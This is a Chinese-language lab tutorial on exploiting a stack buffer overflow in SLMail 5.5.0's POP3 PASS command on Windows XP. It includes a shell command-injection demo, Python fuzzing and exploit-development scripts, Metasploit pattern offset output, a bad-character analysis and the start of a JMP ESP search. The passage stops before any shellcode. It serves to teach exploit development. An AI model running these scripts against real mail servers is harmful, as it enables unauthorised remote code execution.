缓冲区溢出之WINDOWS实例
一、程序漏洞从哪里来
• 罪恶的根源:变量
• 数据与代码边界不清
• 根源在于对输入的数据未做检查或检查机制不完善!
• 最简漏洞原理—— shell脚本漏洞
示例:
root@kali:~/Desktop/tests# cat a.sh #!/bin/bash #指定解释器 echo $1 root@kali:~/Desktop/tests# ./a.sh 1 1 root@kali:~/Desktop/tests# ./a.sh Hello world! Hello root@kali:~/Desktop/tests# ./a.sh "Hello world!" Hello world! root@kali:~/Desktop/tests# ./a.sh ls ls root@kali:~/Desktop/tests# ./a.sh ;ls #对输入的参数未做检查直接执行了 2.jpg a.sh exploits wireshark.pcapng root@kali:~/Desktop/tests# ./a.sh ;pwd #同上 /root/Desktop/tests
二、缓冲区溢出
• 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据;
• 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
• 缓冲区溢出原理:http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
如何发现漏洞?
• 源码审计
• 逆向工程
• 模糊测试
• 向程序堆栈半随机的数据,根据内存变化判断溢出
• 数据生成器:生成随机、半随机数据
• 测试工具:识别溢出漏洞
三、WINDOWS 缓冲区溢出
1、实验环境及工具
• kali 2019.3
• Windows_xp_sp3
• SLMail 5.5.0 Mail Server
• 下载:https://slmail.software.informer.com/download/
• ImmunityDebugger_1_85_setup.exe
• 动态调试工具,可调用python脚本,使用python2.7环境
• mona.py
• 下载:https://github.com/corelan/mona
• 手册:https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
• RegSnap
• 下载:https://www.onlinedown.net/soft/38491.htm
2、SLMail 5.5.0 Mail Server 安装
检查安装结果:
3、ImmunityDebugger_1_85_setup.exe的安装
略
4、mona.py安装
mona.py直接放在ImmunityDebugger_1_85_setup.exe安装路径下的PyCommands路径下(如下图)
5、环境测试:
注意:将winxp_sp3防火墙关闭或开放26(smtp一般默认为25),110(pop3)等端口方可实验!
root@kali:~/Desktop/tests# nc 10.10.10.131 26 220 test.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here hello 500 Syntax error, command unrecognized ok 500 Syntax error, command unrecognized quit 221 test.com Service closing transmission channel root@kali:~/Desktop/tests# nc 10.10.10.131 110 +OK POP3 server test.com ready <00003.1081687@test.com> USER z9m8r8 +OK z9m8r8 welcome here PASS test -ERR invalid password quit +OK POP3 server test.com signing off.
6、SLMail 5.5.0 Mail Server
• ports:25 110 139 8376
• POP3 PASS 命令存在缓冲区溢出漏洞
• 无需身份验证实现远程代码执行
• DEP:阻止代码从数据页被执行
• ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
7、FUZZING
7.0 POP3
• Nc 110端口
root@kali:~/Desktop/tests# nc 10.10.10.131 110 +OK POP3 server test.com ready <00003.1081687@test.com> USER z9m8r8 +OK z9m8r8 welcome here PASS test -ERR invalid password quit +OK POP3 server test.com signing off.
• 如何了解应用/协议能接受的固定指令
• Wireshark
• RFC
01.py:
#!/usr/bin/python #-*-coding:utf-8-*- import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: print "\nSending evil buffer..." s.connect(("10.10.10.131",110)) data = s.recv(1024) ###将110端口返回的数据显示在屏幕中 print data s.send("USER z9m8r8"+"\r\n") data = s.recv(1024) print data s.send("PASS test\r\n") data = s.recv(1024) print data s.close() print "\nDone" except: print "Could not connect to POP3!"
测试:
root@kali:~/Desktop/tests# ./01.py Sending evil buffer... +OK POP3 server test.com ready <00002.960781@test.com> +OK z9m8r8 welcome here -ERR invalid password Done
7.1 测试 PASS 命令接收到大量数据时是否会溢出
• EIP 寄存器存放下一条指令的地址
02.py:
#!/usr/bin/python #-*-coding:utf-8-*- import socket buffer=["A"] counter=100 while len(buffer) <= 50: buffer.append("A"*counter) counter=counter+200 for string in buffer: print "Fuzzing PASS with %s bytes" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(("10.10.10.131",110)) s.recv(1024) s.send("USER z9m8r8"+"\r\n") s.recv(1024) s.send("PASS "+string+"\r\n") s.send("QUIT\r\n") s.close()
测试:
winxp_sp3状态:
由上图知 PASS 命令接收到大量数据时会溢出,EIP 寄存器地址亦被覆盖。
7.2 确定(寻找)覆盖EIP地址的4 个字节
(1)二分法
示例:
root@kali:~/Desktop/tests# cat 03.py #!/usr/bin/python #-*-coding:utf-8-*- import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = 'A' * 2600 try: print "\nSending evil buffer..." s.connect(("10.10.10.131",110)) data = s.recv(1024) s.send("USER z9m8r8"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\nDone!." except: print "Could not connect to POP3!" root@kali:~/Desktop/tests# ./03.py Sending evil buffer... Done!.
root@kali:~/Desktop/tests# cat 03.py #!/usr/bin/python #-*-coding:utf-8-*- import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = 'A' * 2700 try: print "\nSending evil buffer..." s.connect(("10.10.10.131",110)) data = s.recv(1024) s.send("USER z9m8r8"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\nDone!." except: print "Could not connect to POP3!" root@kali:~/Desktop/tests# ./03.py Sending evil buffer... Done!.
推得EIP在2600~2700之间,不断用二分法即可得出EIP的精确位置!
(2)唯一字串法
生成唯一字符串(每 4 个字节都是不一样的)
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 2700 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9
将该唯一字符串赋给03.py的 buffer重新执行03.py
EIP地址"39694438"对应的ASCII码应为38 44 69 39,即"8Di9"
计算偏移量
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 39694438 -l 2700 [*] Exact match at offset 2606
即覆盖EIP地址前面又2606个字节!
验证(04.py):
#!/usr/bin/python #-*-coding:utf-8-*- import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = 'A' * 2606+'B'*4+'C'*20 try: print "\nSending evil buffer..." s.connect(("10.10.10.131",110)) data = s.recv(1024) s.send("USER z9m8r8"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\nDone!." except: print "Could not connect to POP3!"
7.3 攻击思路
• 将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取EIP 寄存器数值,将跳转到 shellcode 代码段并执行;
• 寻找可存放shellcode的内存空间
手动修改C数值,判断内存空间大小是否能放一下shellcode,假设ESP寄存器可放3500
05.py
#!/usr/bin/python #-*-coding:utf-8-*- import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4) try: print "\nSending evil buffer..." s.connect(("10.10.10.131",110)) data = s.recv(1024) s.send("USER z9m8r8"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\nDone!." except: print "Could not connect to POP3!"
存放"C"内存空间的起始地址为:0167A154, 终止地址为:0167A2F4,0167A2F4-0167A154=1A0=416字节/字符。即可存放shellcode的内存空间为416字节,最小的shellcode为300字节左右,因此ESP可以放下一个shellcode。
7.4 确定坏字符
• 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
• 返回地址、 Shellcode、 buffer中都不能出现坏字符
• null byte (0x00) 空字符,用于终止字符串的拷贝操作
• return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
• 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
06.py
#!/usr/bin/python #-*-coding:utf-8-*- import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0b\x0c\x0d\x0e\x0f\x00" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\4e\x4f\x40" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0" "\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0" ) buffer = "A"*2606 + "B"*4 + badchars try: print "\nSending evil buffer..." s.connect(("10.10.10.131",110)) data = s.recv(1024) s.send("USER z9m8r8"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\nDone!." except: print "Could not connect to POP3!"
本应是0A但实际上是29,可得0A是坏字符,修改0A为某一正常字符(01~09)重新发送继续寻找坏字符。
即0D也为坏字符不出现,并缩进了一格。同理可得00也被过滤,最终结果如下图:
综上,坏字符为:0x00 0x0D 0x0A
7.5 重定向数据流
• 用 ESP 的地址替换 EIP 的值
• 但是 ESP 地址变化,硬编码不可行
• SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
• 变通思路
• 在内存中寻找地址固定的系统模块
• 在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode
• mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
• 寻找无DEP、 ALSR保护的内存地址
• 内存地址不包含坏字符
• 寻找不受保护的系统模块
• !mona modules
Rebase:系统重启后模块地址是否发生变化;SafeSEH,ASLR,NXCompat都是保护机制,OS dll 是否在所有系统都运行该模块。因此,选取原则为False,False,False,False,True。
• 在模块中搜索